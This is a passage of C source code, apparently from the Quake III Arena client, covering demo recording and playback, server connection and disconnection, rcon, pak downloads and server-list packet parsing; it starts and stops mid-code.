; i++ ) { if ( !cl.gameState.stringOffsets[i] ) { continue; } s = cl.gameState.stringData + cl.gameState.stringOffsets[i]; MSG_WriteByte (&buf, svc_configstring); MSG_WriteShort (&buf, i); MSG_WriteBigString (&buf, s); } // baselines Com_Memset (&nullstate, 0, sizeof(nullstate)); for ( i = 0; i < MAX_GENTITIES ; i++ ) { ent = &cl.entityBaselines[i]; if ( !ent->number ) { continue; } MSG_WriteByte (&buf, svc_baseline); MSG_WriteDeltaEntity (&buf, &nullstate, ent, qtrue ); } MSG_WriteByte( &buf, svc_EOF ); // finished writing the gamestate stuff // write the client num MSG_WriteLong(&buf, clc.clientNum); // write the checksum feed MSG_WriteLong(&buf, clc.checksumFeed); // finished writing the client packet MSG_WriteByte( &buf, svc_EOF ); // write it to the demo file len = LittleLong( clc.serverMessageSequence - 1 ); FS_Write (&len, 4, clc.demofile); len = LittleLong (buf.cursize); FS_Write (&len, 4, clc.demofile); FS_Write (buf.data, buf.cursize, clc.demofile); // the rest of the demo file will be copied from net messages } /* ======================================================================= CLIENT SIDE DEMO PLAYBACK ======================================================================= */ /* ================= CL_DemoCompleted ================= */ void CL_DemoCompleted( void ) { if (cl_timedemo && cl_timedemo->integer) { int time; time = Sys_Milliseconds() - clc.timeDemoStart; if ( time > 0 ) { Com_Printf ("%i frames, %3.1f seconds: %3.1f fps\n", clc.timeDemoFrames, time/1000.0, clc.timeDemoFrames*1000.0 / time); } } CL_Disconnect( qtrue ); CL_NextDemo(); } /* ================= CL_ReadDemoMessage ================= */ void CL_ReadDemoMessage( void ) { int r; msg_t buf; byte bufData[ MAX_MSGLEN ]; int s; if ( !clc.demofile ) { CL_DemoCompleted (); return; } // get the sequence number r = FS_Read( &s, 4, clc.demofile); if ( r != 4 ) { CL_DemoCompleted (); return; } clc.serverMessageSequence = LittleLong( s ); // init the message MSG_Init( &buf, bufData, sizeof( bufData ) ); // get the length r = FS_Read (&buf.cursize, 4, clc.demofile); if ( r != 4 ) { CL_DemoCompleted (); return; } buf.cursize = LittleLong( buf.cursize ); if ( buf.cursize == -1 ) { CL_DemoCompleted (); return; } if ( buf.cursize > buf.maxsize ) { Com_Error (ERR_DROP, "CL_ReadDemoMessage: demoMsglen > MAX_MSGLEN"); } r = FS_Read( buf.data, buf.cursize, clc.demofile ); if ( r != buf.cursize ) { Com_Printf( "Demo file was truncated.\n"); CL_DemoCompleted (); return; } clc.lastPacketTime = cls.realtime; buf.readcount = 0; CL_ParseServerMessage( &buf ); } /* ==================== CL_WalkDemoExt ==================== */ static void CL_WalkDemoExt(char *arg, char *name, int *demofile) { int i = 0; *demofile = 0; while(demo_protocols[i]) { Com_sprintf (name, MAX_OSPATH, "demos/%s.dm_%d", arg, demo_protocols[i]); FS_FOpenFileRead( name, demofile, qtrue ); if (*demofile) { Com_Printf("Demo file: %s\n", name); break; } else Com_Printf("Not found: %s\n", name); i++; } } /* ==================== CL_PlayDemo_f demo <demoname> ==================== */ void CL_PlayDemo_f( void ) { char name[MAX_OSPATH]; char *arg, *ext_test; int protocol, i; char retry[MAX_OSPATH]; if (Cmd_Argc() != 2) { Com_Printf ("playdemo <demoname>\n"); return; } // make sure a local server is killed Cvar_Set( "sv_killserver", "1" ); CL_Disconnect( qtrue ); // open the demo file arg = Cmd_Argv(1); // check for an extension .dm_?? (?? is protocol) ext_test = arg + (int)strlen(arg) - 6; if ((strlen(arg) > 6) && (ext_test[0] == '.') && ((ext_test[1] == 'd') || (ext_test[1] == 'D')) && ((ext_test[2] == 'm') || (ext_test[2] == 'M')) && (ext_test[3] == '_')) { protocol = atoi(ext_test+4); i=0; while(demo_protocols[i]) { if (demo_protocols[i] == protocol) break; i++; } if (demo_protocols[i]) { Com_sprintf (name, sizeof(name), "demos/%s", arg); FS_FOpenFileRead( name, &clc.demofile, qtrue ); } else { Com_Printf("Protocol %d not supported for demos\n", protocol); Q_strncpyz(retry, arg, sizeof(retry)); retry[strlen(retry)-6] = 0; CL_WalkDemoExt( retry, name, &clc.demofile ); } } else { CL_WalkDemoExt( arg, name, &clc.demofile ); } if (!clc.demofile) { Com_Error( ERR_DROP, "couldn't open %s", name); return; } Q_strncpyz( clc.demoName, Cmd_Argv(1), sizeof( clc.demoName ) ); Con_Close(); cls.state = CA_CONNECTED; clc.demoplaying = qtrue; Q_strncpyz( cls.servername, Cmd_Argv(1), sizeof( cls.servername ) ); // read demo messages until connected while ( cls.state >= CA_CONNECTED && cls.state < CA_PRIMED ) { CL_ReadDemoMessage(); } // don't get the first snapshot this frame, to prevent the long // time from the gamestate load from messing causing a time skip clc.firstDemoFrameSkipped = qfalse; } /* ==================== CL_StartDemoLoop Closing the main menu will restart the demo loop ==================== */ void CL_StartDemoLoop( void ) { // start the demo loop again Cbuf_AddText ("d1\n"); cls.keyCatchers = 0; } /* ================== CL_NextDemo Called when a demo or cinematic finishes If the "nextdemo" cvar is set, that command will be issued ================== */ void CL_NextDemo( void ) { char v[MAX_STRING_CHARS]; Q_strncpyz( v, Cvar_VariableString ("nextdemo"), sizeof(v) ); v[MAX_STRING_CHARS-1] = 0; Com_DPrintf("CL_NextDemo: %s\n", v ); if (!v[0]) { return; } Cvar_Set ("nextdemo",""); Cbuf_AddText (v); Cbuf_AddText ("\n"); Cbuf_Execute(); } //====================================================================== /* ===================== CL_ShutdownAll ===================== */ void CL_ShutdownAll(void) { // clear sounds S_DisableSounds(); // shutdown CGame CL_ShutdownCGame(); // shutdown UI CL_ShutdownUI(); // shutdown the renderer if ( re.Shutdown ) { re.Shutdown( qfalse ); // don't destroy window or context } cls.uiStarted = qfalse; cls.cgameStarted = qfalse; cls.rendererStarted = qfalse; cls.soundRegistered = qfalse; } /* ================= CL_FlushMemory Called by CL_MapLoading, CL_Connect_f, CL_PlayDemo_f, and CL_ParseGamestate the only ways a client gets into a game Also called by Com_Error ================= */ void CL_FlushMemory( void ) { // shutdown all the client stuff CL_ShutdownAll(); // if not running a server clear the whole hunk if ( !com_sv_running->integer ) { // clear the whole hunk Hunk_Clear(); // clear collision map data CM_ClearMap(); } else { // clear all the client data on the hunk Hunk_ClearToMark(); } CL_StartHunkUsers(); } /* ===================== CL_MapLoading A local server is starting to load a map, so update the screen to let the user know about it, then dump all client memory on the hunk from cgame, ui, and renderer ===================== */ void CL_MapLoading( void ) { if ( !com_cl_running->integer ) { return; } Con_Close(); cls.keyCatchers = 0; // if we are already connected to the local host, stay connected if ( cls.state >= CA_CONNECTED && !Q_stricmp( cls.servername, "localhost" ) ) { cls.state = CA_CONNECTED; // so the connect screen is drawn Com_Memset( cls.updateInfoString, 0, sizeof( cls.updateInfoString ) ); Com_Memset( clc.serverMessage, 0, sizeof( clc.serverMessage ) ); Com_Memset( &cl.gameState, 0, sizeof( cl.gameState ) ); clc.lastPacketSentTime = -9999; SCR_UpdateScreen(); } else { // clear nextmap so the cinematic shutdown doesn't execute it Cvar_Set( "nextmap", "" ); CL_Disconnect( qtrue ); Q_strncpyz( cls.servername, "localhost", sizeof(cls.servername) ); cls.state = CA_CHALLENGING; // so the connect screen is drawn cls.keyCatchers = 0; SCR_UpdateScreen(); clc.connectTime = -RETRANSMIT_TIMEOUT; NET_StringToAdr( cls.servername, &clc.serverAddress); // we don't need a challenge on the localhost CL_CheckForResend(); } } /* ===================== CL_ClearState Called before parsing a gamestate ===================== */ void CL_ClearState (void) { // S_StopAllSounds(); Com_Memset( &cl, 0, sizeof( cl ) ); } /* ===================== CL_Disconnect Called when a connection, demo, or cinematic is being terminated. Goes from a connected state to either a menu state or a console state Sends a disconnect message to the server This is also called on Com_Error and Com_Quit, so it shouldn't cause any errors ===================== */ void CL_Disconnect( qboolean showMainMenu ) { if ( !com_cl_running || !com_cl_running->integer ) { return; } // shutting down the client so enter full screen ui mode Cvar_Set("r_uiFullScreen", "1"); if ( clc.demorecording ) { CL_StopRecord_f (); } if (clc.download) { FS_FCloseFile( clc.download ); clc.download = 0; } *clc.downloadTempName = *clc.downloadName = 0; Cvar_Set( "cl_downloadName", "" ); if ( clc.demofile ) { FS_FCloseFile( clc.demofile ); clc.demofile = 0; } if ( uivm && showMainMenu ) { VM_Call( uivm, UI_SET_ACTIVE_MENU, UIMENU_NONE ); } SCR_StopCinematic (); S_ClearSoundBuffer(); // send a disconnect message to the server // send it a few times in case one is dropped if ( cls.state >= CA_CONNECTED ) { CL_AddReliableCommand( "disconnect" ); CL_WritePacket(); CL_WritePacket(); CL_WritePacket(); } CL_ClearState (); // wipe the client connection Com_Memset( &clc, 0, sizeof( clc ) ); cls.state = CA_DISCONNECTED; // allow cheats locally Cvar_Set( "sv_cheats", "1" ); // not connected to a pure server anymore cl_connectedToPureServer = qfalse; } /* =================== CL_ForwardCommandToServer adds the current command line as a clientCommand things like godmode, noclip, etc, are commands directed to the server, so when they are typed in at the console, they will need to be forwarded. =================== */ void CL_ForwardCommandToServer( const char *string ) { char *cmd; cmd = Cmd_Argv(0); // ignore key up commands if ( cmd[0] == '-' ) { return; } if ( clc.demoplaying || cls.state < CA_CONNECTED || cmd[0] == '+' ) { Com_Printf ("Unknown command \"%s\"\n", cmd); return; } if ( Cmd_Argc() > 1 ) { CL_AddReliableCommand( string ); } else { CL_AddReliableCommand( cmd ); } } /* =================== CL_RequestMotd =================== */ void CL_RequestMotd( void ) { char info[MAX_INFO_STRING]; if ( !cl_motd->integer ) { return; } Com_Printf( "Resolving %s\n", UPDATE_SERVER_NAME ); if ( !NET_StringToAdr( UPDATE_SERVER_NAME, &cls.updateServer ) ) { Com_Printf( "Couldn't resolve address\n" ); return; } cls.updateServer.port = BigShort( PORT_UPDATE ); Com_Printf( "%s resolved to %i.%i.%i.%i:%i\n", UPDATE_SERVER_NAME, cls.updateServer.ip[0], cls.updateServer.ip[1], cls.updateServer.ip[2], cls.updateServer.ip[3], BigShort( cls.updateServer.port ) ); info[0] = 0; // NOTE TTimo xoring against Com_Milliseconds, otherwise we may not have a true randomization // only srand I could catch before here is tr_noise.c l:26 srand(1001) // https://zerowing.idsoftware.com/bugzilla/show_bug.cgi?id=382 // NOTE: the Com_Milliseconds xoring only affects the lower 16-bit word, // but I decided it was enough randomization Com_sprintf( cls.updateChallenge, sizeof( cls.updateChallenge ), "%i", ((rand() << 16) ^ rand()) ^ Com_Milliseconds()); Info_SetValueForKey( info, "challenge", cls.updateChallenge ); Info_SetValueForKey( info, "renderer", cls.glconfig.renderer_string ); Info_SetValueForKey( info, "version", com_version->string ); NET_OutOfBandPrint( NS_CLIENT, cls.updateServer, "getmotd \"%s\"\n", info ); } /* =================== CL_RequestAuthorization Authorization server protocol ----------------------------- All commands are text in Q3 out of band packets (leading 0xff 0xff 0xff 0xff). Whenever the client tries to get a challenge from the server it wants to connect to, it also blindly fires off a packet to the authorize server: getKeyAuthorize <challenge> <cdkey> cdkey may be "demo" #OLD The authorize server returns a: #OLD #OLD keyAthorize <challenge> <accept | deny> #OLD #OLD A client will be accepted if the cdkey is valid and it has not been used by any other IP #OLD address in the last 15 minutes. The server sends a: getIpAuthorize <challenge> <ip> The authorize server returns a: ipAuthorize <challenge> <accept | deny | demo | unknown > A client will be accepted if a valid cdkey was sent by that ip (only) in the last 15 minutes. If no response is received from the authorize server after two tries, the client will be let in anyway. =================== */ void CL_RequestAuthorization( void ) { char nums[64]; int i, j, l; cvar_t *fs; if ( !cls.authorizeServer.port ) { Com_Printf( "Resolving %s\n", AUTHORIZE_SERVER_NAME ); if ( !NET_StringToAdr( AUTHORIZE_SERVER_NAME, &cls.authorizeServer ) ) { Com_Printf( "Couldn't resolve address\n" ); return; } cls.authorizeServer.port = BigShort( PORT_AUTHORIZE ); Com_Printf( "%s resolved to %i.%i.%i.%i:%i\n", AUTHORIZE_SERVER_NAME, cls.authorizeServer.ip[0], cls.authorizeServer.ip[1], cls.authorizeServer.ip[2], cls.authorizeServer.ip[3], BigShort( cls.authorizeServer.port ) ); } if ( cls.authorizeServer.type == NA_BAD ) { return; } if ( Cvar_VariableValue( "fs_restrict" ) ) { Q_strncpyz( nums, "demota", sizeof( nums ) ); } else { // only grab the alphanumeric values from the cdkey, to avoid any dashes or spaces j = 0; l = (int)strlen( cl_cdkey ); if ( l > 32 ) { l = 32; } for ( i = 0 ; i < l ; i++ ) { if ( ( cl_cdkey[i] >= '0' && cl_cdkey[i] <= '9' ) || ( cl_cdkey[i] >= 'a' && cl_cdkey[i] <= 'z' ) || ( cl_cdkey[i] >= 'A' && cl_cdkey[i] <= 'Z' ) ) { nums[j] = cl_cdkey[i]; j++; } } nums[j] = 0; } fs = Cvar_Get ("cl_anonymous", "0", CVAR_INIT|CVAR_SYSTEMINFO ); NET_OutOfBandPrint(NS_CLIENT, cls.authorizeServer, va("getKeyAuthorize %i %s", fs->integer, nums) ); } /* ====================================================================== CONSOLE COMMANDS ====================================================================== */ /* ================== CL_ForwardToServer_f ================== */ void CL_ForwardToServer_f( void ) { if ( cls.state != CA_ACTIVE || clc.demoplaying ) { Com_Printf ("Not connected to a server.\n"); return; } // don't forward the first argument if ( Cmd_Argc() > 1 ) { CL_AddReliableCommand( Cmd_Args() ); } } /* ================== CL_Setenv_f Mostly for controlling voodoo environment variables ================== */ void CL_Setenv_f( void ) { int argc = Cmd_Argc(); if ( argc > 2 ) { char buffer[1024]; int i; strcpy( buffer, Cmd_Argv(1) ); strcat( buffer, "=" ); for ( i = 2; i < argc; i++ ) { strcat( buffer, Cmd_Argv( i ) ); strcat( buffer, " " ); } putenv( buffer ); } else if ( argc == 2 ) { char *env = getenv( Cmd_Argv(1) ); if ( env ) { Com_Printf( "%s=%s\n", Cmd_Argv(1), env ); } else { Com_Printf( "%s undefined\n", Cmd_Argv(1), env ); } } } /* ================== CL_Disconnect_f ================== */ void CL_Disconnect_f( void ) { SCR_StopCinematic(); Cvar_Set("ui_singlePlayerActive", "0"); if ( cls.state != CA_DISCONNECTED && cls.state != CA_CINEMATIC ) { Com_Error (ERR_DISCONNECT, "Disconnected from server"); } } /* ================ CL_Reconnect_f ================ */ void CL_Reconnect_f( void ) { if ( !strlen( cls.servername ) || !strcmp( cls.servername, "localhost" ) ) { Com_Printf( "Can't reconnect to localhost.\n" ); return; } Cvar_Set("ui_singlePlayerActive", "0"); Cbuf_AddText( va("connect %s\n", cls.servername ) ); } /* ================ CL_Connect_f ================ */ void CL_Connect_f( void ) { char *server; if ( Cmd_Argc() != 2 ) { Com_Printf( "usage: connect [server]\n"); return; } Cvar_Set("ui_singlePlayerActive", "0"); // fire a message off to the motd server CL_RequestMotd(); // clear any previous "server full" type messages clc.serverMessage[0] = 0; server = Cmd_Argv (1); if ( com_sv_running->integer && !strcmp( server, "localhost" ) ) { // if running a local server, kill it SV_Shutdown( "Server quit\n" ); } // make sure a local server is killed Cvar_Set( "sv_killserver", "1" ); SV_Frame( 0 ); CL_Disconnect( qtrue ); Con_Close(); /* MrE: 2000-09-13: now called in CL_DownloadsComplete CL_FlushMemory( ); */ Q_strncpyz( cls.servername, server, sizeof(cls.servername) ); if (!NET_StringToAdr( cls.servername, &clc.serverAddress) ) { Com_Printf ("Bad server address\n"); cls.state = CA_DISCONNECTED; return; } if (clc.serverAddress.port == 0) { clc.serverAddress.port = BigShort( PORT_SERVER ); } Com_Printf( "%s resolved to %i.%i.%i.%i:%i\n", cls.servername, clc.serverAddress.ip[0], clc.serverAddress.ip[1], clc.serverAddress.ip[2], clc.serverAddress.ip[3], BigShort( clc.serverAddress.port ) ); // if we aren't playing on a lan, we need to authenticate // with the cd key if ( NET_IsLocalAddress( clc.serverAddress ) ) { cls.state = CA_CHALLENGING; } else { cls.state = CA_CONNECTING; } cls.keyCatchers = 0; clc.connectTime = -99999; // CL_CheckForResend() will fire immediately clc.connectPacketCount = 0; // server connection string Cvar_Set( "cl_currentServerAddress", server ); } /* ===================== CL_Rcon_f Send the rest of the command line over as an unconnected command. ===================== */ void CL_Rcon_f( void ) { char message[1024]; netadr_t to; if ( !rcon_client_password->string ) { Com_Printf ("You must set 'rconpassword' before\n" "issuing an rcon command.\n"); return; } message[0] = -1; message[1] = -1; message[2] = -1; message[3] = -1; message[4] = 0; strcat (message, "rcon "); strcat (message, rcon_client_password->string); strcat (message, " "); // https://zerowing.idsoftware.com/bugzilla/show_bug.cgi?id=543 strcat (message, Cmd_Cmd()+5); if ( cls.state >= CA_CONNECTED ) { to = clc.netchan.remoteAddress; } else { if (!strlen(rconAddress->string)) { Com_Printf ("You must either be connected,\n" "or set the 'rconAddress' cvar\n" "to issue rcon commands\n"); return; } NET_StringToAdr (rconAddress->string, &to); if (to.port == 0) { to.port = BigShort (PORT_SERVER); } } NET_SendPacket (NS_CLIENT, (int)strlen(message)+1, message, to); } /* ================= CL_SendPureChecksums ================= */ void CL_SendPureChecksums( void ) { const char *pChecksums; char cMsg[MAX_INFO_VALUE]; int i; // if we are pure we need to send back a command with our referenced pk3 checksums pChecksums = FS_ReferencedPakPureChecksums(); // "cp" // "Yf" Com_sprintf(cMsg, sizeof(cMsg), "Yf "); Q_strcat(cMsg, sizeof(cMsg), va("%d ", cl.serverId) ); Q_strcat(cMsg, sizeof(cMsg), pChecksums); for (i = 0; i < 2; i++) { cMsg[i] += 10; } CL_AddReliableCommand( cMsg ); } /* ================= CL_ResetPureClientAtServer ================= */ void CL_ResetPureClientAtServer( void ) { CL_AddReliableCommand( va("vdr") ); } /* ================= CL_Vid_Restart_f Restart the video subsystem we also have to reload the UI and CGame because the renderer doesn't know what graphics to reload ================= */ void CL_Vid_Restart_f( void ) { // don't let them loop during the restart S_StopAllSounds(); // shutdown the UI CL_ShutdownUI(); // shutdown the CGame CL_ShutdownCGame(); // shutdown the renderer and clear the renderer interface CL_ShutdownRef(); // client is no longer pure untill new checksums are sent CL_ResetPureClientAtServer(); // clear pak references FS_ClearPakReferences( FS_UI_REF | FS_CGAME_REF ); // reinitialize the filesystem if the game directory or checksum has changed FS_ConditionalRestart( clc.checksumFeed ); cls.rendererStarted = qfalse; cls.uiStarted = qfalse; cls.cgameStarted = qfalse; cls.soundRegistered = qfalse; // unpause so the cgame definately gets a snapshot and renders a frame Cvar_Set( "cl_paused", "0" ); // if not running a server clear the whole hunk if ( !com_sv_running->integer ) { // clear the whole hunk Hunk_Clear(); } else { // clear all the client data on the hunk Hunk_ClearToMark(); } // initialize the renderer interface CL_InitRef(); // startup all the client stuff CL_StartHunkUsers(); // start the cgame if connected if ( cls.state > CA_CONNECTED && cls.state != CA_CINEMATIC ) { cls.cgameStarted = qtrue; CL_InitCGame(); // send pure checksums CL_SendPureChecksums(); } } /* ================= CL_Snd_Restart_f Restart the sound subsystem The cgame and game must also be forced to restart because handles will be invalid ================= */ void CL_Snd_Restart_f( void ) { S_Shutdown(); S_Init(); CL_Vid_Restart_f(); } /* ================== CL_PK3List_f ================== */ void CL_OpenedPK3List_f( void ) { Com_Printf("Opened PK3 Names: %s\n", FS_LoadedPakNames()); } /* ================== CL_PureList_f ================== */ void CL_ReferencedPK3List_f( void ) { Com_Printf("Referenced PK3 Names: %s\n", FS_ReferencedPakNames()); } /* ================== CL_Configstrings_f ================== */ void CL_Configstrings_f( void ) { int i; int ofs; if ( cls.state != CA_ACTIVE ) { Com_Printf( "Not connected to a server.\n"); return; } for ( i = 0 ; i < MAX_CONFIGSTRINGS ; i++ ) { ofs = cl.gameState.stringOffsets[ i ]; if ( !ofs ) { continue; } Com_Printf( "%4i: %s\n", i, cl.gameState.stringData + ofs ); } } /* ============== CL_Clientinfo_f ============== */ void CL_Clientinfo_f( void ) { Com_Printf( "--------- Client Information ---------\n" ); Com_Printf( "state: %i\n", cls.state ); Com_Printf( "Server: %s\n", cls.servername ); Com_Printf ("User info settings:\n"); Info_Print( Cvar_InfoString( CVAR_USERINFO ) ); Com_Printf( "--------------------------------------\n" ); } //==================================================================== /* ================= CL_DownloadsComplete Called when all downloading has been completed ================= */ void CL_DownloadsComplete( void ) { // if we downloaded files we need to restart the file system if (clc.downloadRestart) { clc.downloadRestart = qfalse; FS_Restart(clc.checksumFeed); // We possibly downloaded a pak, restart the file system to load it // inform the server so we get new gamestate info CL_AddReliableCommand( "donedl" ); // by sending the donedl command we request a new gamestate // so we don't want to load stuff yet return; } // let the client game init and load data cls.state = CA_LOADING; // Pump the loop, this may change gamestate! Com_EventLoop(); // if the gamestate was changed by calling Com_EventLoop // then we loaded everything already and we don't want to do it again. if ( cls.state != CA_LOADING ) { return; } // starting to load a map so we get out of full screen ui mode Cvar_Set("r_uiFullScreen", "0"); // flush client memory and start loading stuff // this will also (re)load the UI // if this is a local client then only the client part of the hunk // will be cleared, note that this is done after the hunk mark has been set CL_FlushMemory(); // initialize the CGame cls.cgameStarted = qtrue; CL_InitCGame(); // set pure checksums CL_SendPureChecksums(); CL_WritePacket(); CL_WritePacket(); CL_WritePacket(); } /* ================= CL_BeginDownload Requests a file to download from the server. Stores it in the current game directory. ================= */ void CL_BeginDownload( const char *localName, const char *remoteName ) { Com_DPrintf("***** CL_BeginDownload *****\n" "Localname: %s\n" "Remotename: %s\n" "****************************\n", localName, remoteName); Q_strncpyz ( clc.downloadName, localName, sizeof(clc.downloadName) ); Com_sprintf( clc.downloadTempName, sizeof(clc.downloadTempName), "%s.tmp", localName ); // Set so UI gets access to it Cvar_Set( "cl_downloadName", remoteName ); Cvar_Set( "cl_downloadSize", "0" ); Cvar_Set( "cl_downloadCount", "0" ); Cvar_SetValue( "cl_downloadTime", cls.realtime ); clc.downloadBlock = 0; // Starting new file clc.downloadCount = 0; CL_AddReliableCommand( va("download %s", remoteName) ); } /* ================= CL_NextDownload A download completed or failed ================= */ void CL_NextDownload(void) { char *s; char *remoteName, *localName; // We are looking to start a download here if (*clc.downloadList) { s = clc.downloadList; // format is: // @remotename@localname@remotename@localname, etc. if (*s == '@') s++; remoteName = s; if ( (s = strchr(s, '@')) == NULL ) { CL_DownloadsComplete(); return; } *s++ = 0; localName = s; if ( (s = strchr(s, '@')) != NULL ) *s++ = 0; else s = localName + (int)strlen(localName); // point at the nul byte CL_BeginDownload( localName, remoteName ); clc.downloadRestart = qtrue; // move over the rest memmove( clc.downloadList, s, (int)strlen(s) + 1); return; } CL_DownloadsComplete(); } /* ================= CL_InitDownloads After receiving a valid game state, we valid the cgame and local zip files here and determine if we need to download them ================= */ void CL_InitDownloads(void) { char missingfiles[1024]; if ( !cl_allowDownload->integer ) { // autodownload is disabled on the client // but it's possible that some referenced files on the server are missing if (FS_ComparePaks( missingfiles, sizeof( missingfiles ), qfalse ) ) { // NOTE TTimo I would rather have that printed as a modal message box // but at this point while joining the game we don't know wether we will successfully join or not Com_Printf( "\nWARNING: You are missing some files referenced by the server:\n%s" "You might not be able to join the game\n" "Go to the setting menu to turn on autodownload, or get the file elsewhere\n\n", missingfiles ); } } else if ( FS_ComparePaks( clc.downloadList, sizeof( clc.downloadList ) , qtrue ) ) { Com_Printf("Need paks: %s\n", clc.downloadList ); if ( *clc.downloadList ) { // if autodownloading is not enabled on the server cls.state = CA_CONNECTED; CL_NextDownload(); return; } } CL_DownloadsComplete(); } /* ================= CL_CheckForResend Resend a connect message if the last one has timed out ================= */ void CL_CheckForResend( void ) { int port, i; char info[MAX_INFO_STRING]; char data[MAX_INFO_STRING]; // don't send anything if playing back a demo if ( clc.demoplaying ) { return; } // resend if we haven't gotten a reply yet if ( cls.state != CA_CONNECTING && cls.state != CA_CHALLENGING ) { return; } if ( cls.realtime - clc.connectTime < RETRANSMIT_TIMEOUT ) { return; } clc.connectTime = cls.realtime; // for retransmit requests clc.connectPacketCount++; switch ( cls.state ) { case CA_CONNECTING: // requesting a challenge if ( !Sys_IsLANAddress( clc.serverAddress ) ) { CL_RequestAuthorization(); } NET_OutOfBandPrint(NS_CLIENT, clc.serverAddress, "getchallenge"); break; case CA_CHALLENGING: // sending back the challenge port = Cvar_VariableValue ("net_qport"); Q_strncpyz( info, Cvar_InfoString( CVAR_USERINFO ), sizeof( info ) ); Info_SetValueForKey( info, "protocol", va("%i", PROTOCOL_VERSION ) ); Info_SetValueForKey( info, "qport", va("%i", port ) ); Info_SetValueForKey( info, "challenge", va("%i", clc.challenge ) ); strcpy(data, "connect "); // TTimo adding " " around the userinfo string to avoid truncated userinfo on the server // (Com_TokenizeString tokenizes around spaces) data[8] = '"'; for(i=0;i<strlen(info);i++) { data[9+i] = info[i]; // + (clc.challenge)&0x3; } data[9+i] = '"'; data[10+i] = 0; // NOTE TTimo don't forget to set the right data length! NET_OutOfBandData( NS_CLIENT, clc.serverAddress, (byte*) &data[0], i+10 ); // the most current userinfo has been sent, so watch for any // newer changes to userinfo variables cvar_modifiedFlags &= ~CVAR_USERINFO; break; default: Com_Error( ERR_FATAL, "CL_CheckForResend: bad cls.state" ); } } /* =================== CL_DisconnectPacket Sometimes the server can drop the client and the netchan based disconnect can be lost. If the client continues to send packets to the server, the server will send out of band disconnect packets to the client so it doesn't have to wait for the full timeout period. =================== */ void CL_DisconnectPacket( netadr_t from ) { if ( cls.state < CA_AUTHORIZING ) { return; } // if not from our server, ignore it if ( !NET_CompareAdr( from, clc.netchan.remoteAddress ) ) { return; } // if we have received packets within three seconds, ignore it // (it might be a malicious spoof) if ( cls.realtime - clc.lastPacketTime < 3000 ) { return; } // drop the connection Com_Printf( "Server disconnected for unknown reason\n" ); Cvar_Set("com_errorMessage", "Server disconnected for unknown reason\n" ); CL_Disconnect( qtrue ); } /* =================== CL_MotdPacket =================== */ void CL_MotdPacket( netadr_t from ) { char *challenge; char *info; // if not from our server, ignore it if ( !NET_CompareAdr( from, cls.updateServer ) ) { return; } info = Cmd_Argv(1); // check challenge challenge = Info_ValueForKey( info, "challenge" ); if ( strcmp( challenge, cls.updateChallenge ) ) { return; } challenge = Info_ValueForKey( info, "motd" ); Q_strncpyz( cls.updateInfoString, info, sizeof( cls.updateInfoString ) ); Cvar_Set( "cl_motdString", challenge ); } /* =================== CL_InitServerInfo =================== */ void CL_InitServerInfo( serverInfo_t *server, serverAddress_t *address ) { server->adr.type = NA_IP; server->adr.ip[0] = address->ip[0]; server->adr.ip[1] = address->ip[1]; server->adr.ip[2] = address->ip[2]; server->adr.ip[3] = address->ip[3]; server->adr.port = address->port; server->clients = 0; server->hostName[0] = '\0'; server->mapName[0] = '\0'; server->maxClients = 0; server->maxPing = 0; server->minPing = 0; server->ping = -1; server->game[0] = '\0'; server->gameType = 0; server->netType = 0; } #define MAX_SERVERSPERPACKET 256 /* =================== CL_ServersResponsePacket =================== */ void CL_ServersResponsePacket( netadr_t from, msg_t *msg ) { int i, count, max, total; serverAddress_t addresses[MAX_SERVERSPERPACKET]; int numservers; byte* buffptr; byte* buffend; Com_Printf("CL_ServersResponsePacket\n"); if (cls.numglobalservers == -1) { // state to detect lack of servers or lack of response cls.numglobalservers = 0; cls.numGlobalServerAddresses = 0; } if (cls.nummplayerservers == -1) { cls.nummplayerservers = 0; } // parse through server response string numservers = 0; buffptr = msg->data; buffend = buffptr + msg->cursize; while (buffptr+1 < buffend) { // advance to initial token do { if (*buffptr++ == '\\') break; } while (buffptr < buffend); if ( buffptr >= buffend - 6 ) { break; } // parse out ip addresses[numservers].ip[0] = *buffptr++; addresses[numservers].ip[1] = *buffptr++; addresses[numservers].ip[2] = *buffptr++; addresses[numservers].ip[3] = *buffptr++; // parse out port addresses[numservers].port = (*buffptr++)<<8; addresses[numservers].port += *buffptr++; addresses[numservers].port = BigShort( addresses[numservers].port ); // syntax check if (*buffptr != '\\') { break; } Com_DPrintf( "server: %d ip: %d.%d.%d.%d:%d\n",numservers, addresses[numservers].ip[0], addresses[numservers].ip[1], addresses[numservers].ip[2], addresses[numservers].ip[3], addresses[numservers].port ); numservers++; if (numservers >= MAX_SERVERSPERPACKET) { break; } // parse out EOT if (buffptr[1] == 'E' && buffptr[2] == 'O' && buffptr[3] == 'T') { break; } } if (cls.masterNum == 0) { count = cls.numglobalservers; max = MAX_GLOBAL_SERVERS; } else { count = cls.nummplayerservers; max = MAX_OTHER_SERVERS; } for (i = 0; i < numservers && count < max; i++) { // build net address serverInfo_t *server = (cls.masterNum == 0) ? &cls.globalServers[count] : &cls.mplayerServers[count]; CL_InitServerInfo( server, &addresses[i] ); // advance to next slot count++; } // if getting the global list if (cls.masterNum == 0) { if ( cls.numGlobalServerAddresses < MAX_GLOBAL_SERVERS ) { // if we couldn't store the servers in the main list anymore for (; i < numservers && count >= max; i++) { serverAddress_t *addr; // just store the addresses in an additional list addr = &cls.globalServerAddresses[cls.numGlobalServerAddresses++]; addr->ip[0] = addresses[i].ip[0]; addr->ip[1] = addresses[i].ip[1]; addr->ip[2] = addresses[i].ip[2]; addr->ip[3] = addresses[i].ip[3]; addr->port = addresses[i].port; } } } if (cls.masterNum == 0) { cls.numglobalservers = count; total = count + cls.numGlobalServerAddresses; } else { cls.nummplayerservers = count; total = count; } Com_Printf("%d servers parsed (total %d)\n", numservers, total); } /* ================= CL_ConnectionlessPacket Responses to broadcasts, etc ================= */ void CL_ConnectionlessPacket( netadr_t from, msg_t *msg ) { char *s; char *c; MSG_BeginReadingOOB( msg ); MSG_ReadLong( msg ); // skip the -1 s = MSG_ReadStringLine( msg ); Cmd_TokenizeString( s ); c = Cmd_Argv(0); Com_DPrintf ("CL packet %s: %s\n", NET_AdrToString(from), c); // challenge from the server we are connecting to if ( !Q_stricmp(c, "challengeResponse") ) { if ( cls.state != CA_CONNECTING ) { Com_Printf( "Unwanted challenge response received. Ignored.\n" ); } else { // start sending challenge repsonse instead of challenge request packets clc.challenge = atoi(Cmd_Argv(1)); cls.state = CA_CHALLENGING; clc.connectPacketCount = 0; clc.connectTime = -99999; // take this address as the new server address. This allows // a server proxy to hand off connections to multiple servers clc.serverAddress = from; Com_DPrintf ("challengeResponse: %d\n", clc.challenge); } return; } // server connection if ( 